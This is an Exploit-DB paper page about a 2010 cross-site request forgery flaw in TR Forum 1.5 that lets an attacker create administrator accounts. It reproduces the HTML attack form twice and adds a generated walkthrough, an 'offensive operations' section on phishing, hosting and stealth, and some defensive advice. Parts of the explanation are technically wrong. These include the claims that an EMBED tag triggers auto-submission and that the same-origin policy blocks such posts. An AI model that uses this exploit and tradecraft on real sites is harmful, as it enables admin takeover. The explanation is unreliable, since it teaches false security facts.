By exploitdb papers bot•April 25, 2010•

papers

TR Forum 1.5 Admin Creation via CSRF

What this paper is

This paper describes a Cross-Site Request Forgery (CSRF) vulnerability in TR Forum version 1.5. The vulnerability allows an attacker to trick an authenticated administrator into creating a new administrator account on the forum without their knowledge or consent. The exploit provided is a simple HTML form that, when submitted by an administrator, sends a request to the forum's insert_admin.php script to create a new admin.

Simple technical breakdown

Vulnerability Type: Cross-Site Request Forgery (CSRF).
Target Application: TR Forum version 1.5.
Vulnerable Component: The admin/insert_admin.php script.
Attack Vector: The attacker crafts a malicious HTML page containing a form. This form is designed to mimic the legitimate "Add Moderator" form of the TR Forum.
Exploitation Mechanism: When an administrator, who is already logged into their TR Forum account, visits the attacker's malicious page, their browser automatically sends the administrator's session cookies along with the form submission. The insert_admin.php script, not properly validating the origin of the request, accepts this forged request and creates the new administrator account.
Impact: An attacker can create new administrator accounts, potentially gaining full control of the TR Forum.

Complete code and payload walkthrough

The provided exploit is a single HTML file. It doesn't contain traditional "code" or "payloads" in the sense of executable code or shellcode. Instead, it's a crafted HTML form designed to be submitted by a victim's browser.

<html>
<head>
<form name="poster" method="post" action="http://127.0.0.1/forum/admin/insert_admin.php">
  <table class="header" border="0" align="center" width="500">
    <tr>
      <td align="center"><font class="titre">Ajouter un modérateur</font></td>
    </tr>
  </table>
  <br>
     <CENTER><EMBED align=left
src=http://h1.ripway.com/ma3karouna/1.mp3
  <table class="right" width="500" border="0" align="center" >
<tr>
  <td class="text">login</td>
  <td><input type="text" name="login"></td>
</tr>
<tr>
  <td class="text">password</td>
  <td><input type="password" name="password"></td>
</tr>
<tr>
  <td class="text">email</td>
  <td><input type="text" name="mail"></td>
</tr>
<tr>
<td colspan="2" align="right"><input class="button" type="submit" value="valider"></td>
</tr>
</table>
<br>
</form>
</body>
</html>

Let's break down the meaningful parts:

<form name="poster" method="post" action="http://127.0.0.1/forum/admin/insert_admin.php">:
- name="poster": Assigns a name to the form, which is not particularly relevant for the exploit's functionality but is standard HTML.
- method="post": Specifies that the form data will be sent using the HTTP POST method. This is crucial as it's how the data for creating the admin will be transmitted.
- action="http://127.0.0.1/forum/admin/insert_admin.php": This is the target URL. It points to the script on the victim's server that handles adding new administrators. The 127.0.0.1 indicates the attacker is assuming the victim's forum is running on their local machine or a machine accessible via localhost from the victim's browser context. In a real-world scenario, this would be the public IP or domain name of the target forum.
- Practical Purpose: This line defines the destination and method for sending the forged request.
<table class="header" ...> and <td align="center"><font class="titre">Ajouter un modérateur</font></td>:
- These HTML elements are used for presentation. They create a table structure and display the text "Ajouter un modérateur" (Add a moderator) in French, styled as a title.
- Practical Purpose: To make the malicious form visually resemble the legitimate TR Forum interface, increasing the chances of a victim interacting with it.
<CENTER><EMBED align=left src=http://h1.ripway.com/ma3karouna/1.mp3>:
- <CENTER>: Centers the content within its parent element.
- <EMBED>: This tag is used to embed external content, often multimedia. In this case, it's attempting to embed an MP3 file from an external URL.
- align=left: Attempts to align the embedded object to the left.
- src=http://h1.ripway.com/ma3karouna/1.mp3: Specifies the source of the embedded content.
- Practical Purpose: This is a common, albeit sometimes unreliable, technique in older CSRF exploits. The <EMBED> tag, especially with multimedia content, could sometimes trigger the browser to load and process the content, which in turn might cause the browser to automatically submit the form it's contained within, or at least make the form more visible and interactive to the user. It's a form of social engineering or a way to ensure the form is rendered and potentially interacted with. The actual MP3 file is irrelevant to the exploit's core function; it's the <EMBED> tag's behavior that's leveraged.
<table class="right" ...>:
- Another table for structuring the form fields.
<tr><td class="text">login</td><td><input type="text" name="login"></td></tr>:
- Defines a table row for the "login" field.
- <input type="text" name="login">: This is an input field for text. The name="login" is critical. This name will be used as the key when the form data is sent via POST. The value entered here will be the username for the new administrator.
- Practical Purpose: Allows the attacker to specify the username for the newly created administrator.
<tr><td class="text">password</td><td><input type="password" name="password"></td></tr>:
- Defines a table row for the "password" field.
- <input type="password" name="password">: This is an input field for passwords, which typically masks the input. The name="password" is crucial. The value entered here will be the password for the new administrator.
- Practical Purpose: Allows the attacker to specify the password for the newly created administrator.
<tr><td class="text">email</td><td><input type="text" name="mail"></td></tr>:
- Defines a table row for the "email" field.
- <input type="text" name="mail">: This is a text input field. The name="mail" is crucial. The value entered here will be the email address for the new administrator. Note that the vulnerable script likely expects mail as the parameter name based on this.
- Practical Purpose: Allows the attacker to specify the email address for the newly created administrator.
<tr><td colspan="2" align="right"><input class="button" type="submit" value="valider"></td></tr>:
- <input class="button" type="submit" value="valider">: This is the submit button for the form. The value="valider" (validate/submit in French) is what the user sees. When this button is clicked, the form data (login, password, mail) is sent via POST to the action URL.
- Practical Purpose: This is the explicit user interaction element that triggers the exploit if the victim clicks it. However, as mentioned with <EMBED>, the form might submit automatically in some contexts without a click.

Mapping list:

<html>, <head>, <body>: Standard HTML structure.
<form name="poster" method="post" action="http://127.0.0.1/forum/admin/insert_admin.php">: Defines the target URL and HTTP method for the forged request.
<table>, <tr>, <td>, <font>, <center>: HTML elements for layout and presentation, mimicking the legitimate UI.
<EMBED src=http://h1.ripway.com/ma3karouna/1.mp3>: A potentially auto-executing element that might trigger form submission or draw user attention.
<input type="text" name="login">: Input field for the new admin's username.
<input type="password" name="password">: Input field for the new admin's password.
<input type="text" name="mail">: Input field for the new admin's email.
<input type="submit" value="valider">: The button that, when clicked, sends the form data.

Practical details for offensive operations teams

Required Access Level: No special access is required on the target system itself. The exploit targets the user's browser when they are already authenticated to the TR Forum's administrative interface.
Lab Preconditions:
- A vulnerable TR Forum 1.5 instance must be deployed and accessible.
- An administrator account for the TR Forum must exist and be logged into their browser.
- The attacker needs a web server to host the malicious HTML exploit page.
- The attacker needs to know the target forum's URL (e.g., http://target.com/forum/). The provided exploit uses http://127.0.0.1/forum/, which is only useful if the attacker can somehow force the victim's browser to resolve 127.0.0.1 to the target forum's server, or if the target forum is indeed running on the attacker's local machine and the victim is browsing to it. More realistically, the action URL would be http://target.com/forum/admin/insert_admin.php.
Tooling Assumptions:
- A web server (e.g., Apache, Nginx, Python's http.server) to host the HTML exploit.
- A text editor to create and modify the HTML exploit.
- A browser for testing the exploit.
Execution Pitfalls:
- Same-Origin Policy (SOP): Modern browsers have robust SOP implementations. This exploit relies on the victim's browser sending cookies to the target domain (action URL) automatically. If the exploit page is hosted on a different domain than the target forum, SOP might prevent the request from being sent or processed correctly unless specific CORS headers are misconfigured on the target.
- CSRF Tokens: Many web applications implement CSRF tokens (unique, unpredictable values embedded in forms that must be submitted with the request) to prevent this type of attack. If TR Forum 1.5 had CSRF token protection on insert_admin.php, this exploit would fail. The paper implies this protection is missing.
- User Interaction: The exploit relies on the administrator visiting the attacker's page and, ideally, clicking the "valider" button. The <EMBED> tag might help, but it's not guaranteed to auto-submit or be effective across all browsers/versions.
- URL Accuracy: The action URL must be precisely correct, including the protocol (http/https), domain, path, and script name.
- Authentication State: The victim must be logged into the TR Forum's admin panel in the same browser session for their cookies to be sent.
- Browser Behavior: The <EMBED> tag's behavior can vary significantly between browsers and their versions, and it might not reliably trigger the form submission.
Tradecraft Considerations:
- Phishing/Social Engineering: The attacker would typically use social engineering (e.g., an email with a link to the malicious page) to lure the administrator to the exploit page.
- Hosting: The exploit page needs to be hosted on a domain that the attacker controls and can direct victims to.
- Payload Delivery: The HTML file is the "payload" in this context. It's delivered via a link.
- Stealth: The exploit itself is a simple HTML file. The stealth comes from how the link is delivered and the user's trust.

Where this was used and when

Context: This vulnerability was found in TR Forum version 1.5.
Timeframe: Published on April 25, 2010. This indicates the vulnerability existed and was exploitable around that time. Such vulnerabilities in older web application frameworks were common before widespread adoption of security best practices like CSRF token implementation.
Usage: The paper itself is an exploit announcement. It's likely that this specific vulnerability was demonstrated or used in security research, penetration testing, or potentially by malicious actors targeting TR Forum installations around 2010.

Defensive lessons for modern teams

Implement CSRF Protection: Always use unique, unpredictable CSRF tokens for any state-changing requests (POST, PUT, DELETE). These tokens should be generated server-side, embedded in forms, and validated upon submission.
Validate Referer/Origin Headers: While not foolproof, checking the Referer or Origin HTTP headers can provide an additional layer of defense to ensure requests originate from trusted domains. However, these headers can be spoofed or absent.
Secure Session Management: Ensure sessions are properly managed and cookies have appropriate flags (e.g., HttpOnly, Secure).
Least Privilege: Ensure administrative functions are only accessible by authenticated administrators and that the insert_admin.php script itself performs robust authorization checks, not just relying on session cookies.
Regular Patching and Updates: Keep all web applications and their components updated to the latest secure versions.
Input Validation: While not the primary defense against CSRF, validating all input parameters (login, password, email) on the server-side is a fundamental security practice that prevents other types of attacks.

ASCII visual (if applicable)

This exploit is a client-side attack that relies on browser behavior and HTTP requests. A visual representation of the attack flow would be:

+-------------------+       +---------------------+       +-----------------------+
| Attacker's Server | ----> | Victim's Browser    | ----> | Target TR Forum Server|
| (Hosts Exploit.html)|       | (Admin logged in)   |       | (Vulnerable)          |
+-------------------+       +---------------------+       +-----------------------+
        ^                               |
        | 1. Victim visits link         | 2. Browser sends GET to Attacker's page
        |   (e.g., email)               |    (loads Exploit.html)
        |                               |
        |                               | 3. Exploit.html renders form.
        |                               |    <EMBED> might trigger auto-submit
        |                               |    or user clicks "valider".
        |                               |
        |                               | 4. Browser sends POST request to
        |                               |    http://target.com/forum/admin/insert_admin.php
        |                               |    (with admin's cookies attached).
        |                               |
        |                               | 5. Vulnerable script processes request,
        |                               |    creates new admin.
        |                               |
        +-------------------------------+

Explanation of the diagram:

The attacker sends a link to the victim, pointing to their malicious HTML page.
The victim's browser fetches the Exploit.html page from the attacker's server.
The Exploit.html page contains a form. The <EMBED> tag might cause the browser to load external content, potentially triggering the form submission automatically, or the victim might manually click the "valider" button.
Crucially, because the victim is logged into the TR Forum, their browser automatically includes the administrator's session cookies with the POST request to the target forum's insert_admin.php script.
The TR Forum's insert_admin.php script, lacking proper CSRF protection, trusts the request and creates the new administrator account with the details provided in the form.

Source references

Paper ID: 12385
Paper Title: TR Forum 1.5 - Cross-Site Request Forgery (Add Admin)
Author: EL-KAHINA
Published: 2010-04-25
Exploit-DB URL: https://www.exploit-db.com/papers/12385
Raw Exploit URL: https://www.exploit-db.com/raw/12385

Original Exploit-DB Content (Verbatim)

========================================================================================                  
| # Title    : TR Forum 1.5 insert admin CSRF Vulnerability           
| # Author   : EL-KAHINA                                                               
| # email    : No-Mail                                                  
| # Home     : www.iqs3cur1ty.com/vb                                                                                                                                                                                                                   
| # Tested on: windows SP2 Français V.(Pnx2 2.0) + Lunix Français v.(9.4 Ubuntu)       
| # Bug      : CSRF                                                                     
======================      Exploit By indoushka       =================================
 # Exploit  : 
 
 insert admin CSRF :
 
 <html>
<head>
<form name="poster" method="post" action="http://127.0.0.1/forum/admin/insert_admin.php">
  <table class="header" border="0" align="center" width="500">
    <tr>
      <td align="center"><font class="titre">Ajouter un modérateur</font></td>
    </tr>
  </table>
  <br>
     <CENTER><EMBED align=left 
src=http://h1.ripway.com/ma3karouna/1.mp3
  <table class="right" width="500" border="0" align="center" >
<tr>
  <td class="text">login</td>
  <td><input type="text" name="login"></td>
</tr>
<tr>
  <td class="text">password</td>
  <td><input type="password" name="password"></td>
</tr>
<tr>
  <td class="text">email</td>
  <td><input type="text" name="mail"></td>
</tr>
<tr>
<td colspan="2" align="right"><input class="button" type="submit" value="valider"></td>
</tr>
</table>
<br>
</form>
</body>
</html>
 
==========================================
Greetz : Exploit-db Team 
all my friend :(Dz-Ghost Team ) 
im indoushka's sister
------------------------------------------